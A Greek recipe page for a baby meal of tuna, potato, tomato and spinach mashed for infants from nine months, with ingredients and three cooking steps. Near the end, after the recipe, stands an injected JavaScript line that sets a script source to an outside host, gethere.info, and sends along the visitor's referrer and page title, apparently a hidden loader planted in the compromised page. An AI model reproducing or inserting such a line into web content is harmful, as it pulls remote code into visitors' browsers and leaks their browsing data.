Τόνος, πατάτα, ντομάτα και σπανάκι

Τόνος, πατάτα, ντομάτα και σπανάκι

shutterstock_4287429676-9 μηνών

4 μερίδες

Κατάλληλο για κατάψυξη

Είναι σημαντικό να εισάγουμε στο φαγητό του μωρού μας την υφή. Μερικές φορές τα μωρά μπορεί να επαναπαυθούν στα μαλακά και πολτοποιημένα φαγητά και να αργήσουν πολύ να φάνε κανονικό φαγητό. Αυτή είναι μία νόστιμη και θρεπτική συνταγή για το μωρό μας που θέλει μόνο 20 λεπτά για να προετοιμαστεί και που στο τέλος θα λιώσουμε τα υλικά απλά με ένα πηρούνι.

Τί θα χρειαστούμε

  • 1 πράσο, κομμένο σε φέτες
  • 300g πατάτες, ξεφλουδισμένες και κομμένες σε κύβους
  • Ένα κομματάκι βούτυρο
  • 1 κεσεδάκι 160g τόνου σε λάδι, στραγγισμένο
  • 50g σπανάκι, χοντροκομμένο
  • 1 ντομάτα, χοντροκομμένη
  • 50g τριμμένο τυρί (τσένταρ ή άλλο)

Εκτέλεση σε 3 απλά βήματα

  1. Βάζουμε το πράσο και τις πατάτες σε μια κατσαρόλα. Καλύπτουμε με νερό. Αφήνουμε να πάρει βράση και σιγοβράζουμε για 15 λεπτά μέχρι να μαλακώσουν τα υλικά. Στραγγίζουμε και πολτοποιούμε.
  2. Λιώνουμε το βούτυρο σε μια κατσαρόλα. Προσθέτουμε το σπανάκι και ανακατεύουμε μέχρι να μαραθεί. Προσθέτουμε την πατάτα, το πράσο και τα υπόλοιπα υλικά.
  3. Ανακατεύουμε όλα τα υλικά μαζί μέχρι να λιώσει το τυρί. Μπορούμε να διακοσμήσουμε με ένα κομμάτι μπρόκολο.

s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + »;

Share This